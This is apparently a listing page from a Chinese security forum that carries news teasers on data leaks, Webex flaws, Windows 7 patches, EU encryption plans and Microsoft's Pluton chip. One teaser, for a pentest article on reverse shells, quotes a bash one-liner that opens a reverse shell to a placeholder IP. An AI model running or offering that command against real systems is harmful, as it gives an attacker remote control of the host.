![[视频]IBM披露思科Webex的三个高危漏洞 以“幽灵”身份加入视频会议](attachments/month_2011/20112609361bd2f2fae865f754.jpg)
百度地图涉嫌泄露用户敏感数据
UNIT42的报告指出，移动应用程序的数据泄漏是业界已知的问题，数据泄露不但侵犯了用户的隐私，而且可被网络罪犯用于进一步的攻击，例如收集电话位置或获取被叫号码。通过滥用泄漏数据，攻击者可以在用户不知情的情况下从用户设备传输或接收信息。在基于机器学习（ML）的间谍软件检测系统的帮助下，UNIT42的研究人员在Google ...
0patch发布免费补丁：修复Windows 7中的本地提权漏洞
虽然尚不清楚微软是否会为付费扩展支持用户提供补丁修复，但肯定的是当前仍在使用 Windows 7 的普通用户依然非常容易受到攻击。不过为了修复这个漏洞，第三方补丁服务团队 0patch 发布了适用于 Windows 7 和 Windows Server 2008 R2 的免费补丁，能够保护数百万台仍运行这些系统的设备免受该漏洞的影响。值得注意的是，本次 ...
![[视频]IBM披露思科Webex的三个高危漏洞 以“幽灵”身份加入视频会议](attachments/month_2011/2011260936fde3a0808d875260.jpg)
[视频]IBM披露思科Webex的三个高危漏洞 以“幽灵”身份加入视频会议
伴随着新冠疫情肆虐，越来越多的员工开始通过远程办公的方式进行线上协作、视频会议。而远程办公的激增，也暴露了诸多安全性和数据保密性问题。IBM 的研究人员近日对热门应用--思科 Webex 进行了测试，发现该服务存在三个漏洞。这些漏洞能够让攻击者以“Ghost”身份加入到会议中而不被发现。这些漏洞不仅能够让攻击者秘密地 ...
因第三方数据库泄漏 Spotify要求将近35万个账号重置密码
值得注意是，本次数据泄漏并非来自 Spotify 本身，它并没有受到任何形式的攻击和破坏。当网络上泄漏大型密码数据库的时候，黑客会试图尽可能的在其他服务上登录这些凭证，然后不可避免的能够访问一些站点和服务。如果您采取适当的密码保护措施，并确保不会在多个网站或服务中重复使用相同的登录凭据，那么被这些违规事件之 ...
欧洲打算破解WhatsApp等通讯服务的数据加密方式
在这份声明发表之前，有几份关于加密数据的欧盟内部文件遭遇泄露。最开始是由Politico发布的一份声明，提出了反对端到端加密的一些措施，并以此作为打击虐待儿童内容的一种方式。声明中说道：“对于此类非法内容的打击是争议最小的。”端到端加密（End-to-end encryption）是一些应用程序和服务（包括WhatsApp、Signal和Fac ...
微软推出Pluton安全处理器 携手AMD、英特尔、高通构建统一体系
据悉，在 Xbox 主机和 Azure Sphere 生态系统中率先得到应用的 Pluton 安全处理器，可实现类似于可信平台模块（TPM）的全栈芯片到云安全特性。过去十多年时间里，TPM 一直是服务器安全性的一个重要组成部分，为安全密钥和其它验证系统完整性的元数据提供了物理存储空间。此外在移动市场，内置 TPM 方案允许展开其它形式的安 ...
1
2
3
4
5
6
7
8
9
10
Web渗透中的反弹Shell与端口转发的奇淫技巧
转自：[url]https://www.91ri.org/9367.html[/url][b][size=6]0x00 前言[/size][/b]在做渗透测试时，遇到linux服务器，直观想到反弹shell到本地进行溢出等提权尝试,⽽而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.[b][size=6]0x01 反弹shell[/size][/b][b]1) Bash[/b]部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口[code]bash -i >& /dev/tcp/x.x.x.x/2333 ...
中国移动(10086.cn) 某分站存在mysql空口令
根据《中华人民共和国网络安全法》，本站漏洞永不公开，若厂商想了解详情请咨询admin@t00ls.net！
T00ls.Net版权所有。T00ls所有原创文章未经管理团队许可，禁止一切形式的转载。
Copyright © 2008 - 2020 T00ls.Net All Rights Reserved.苏ICP备16024049号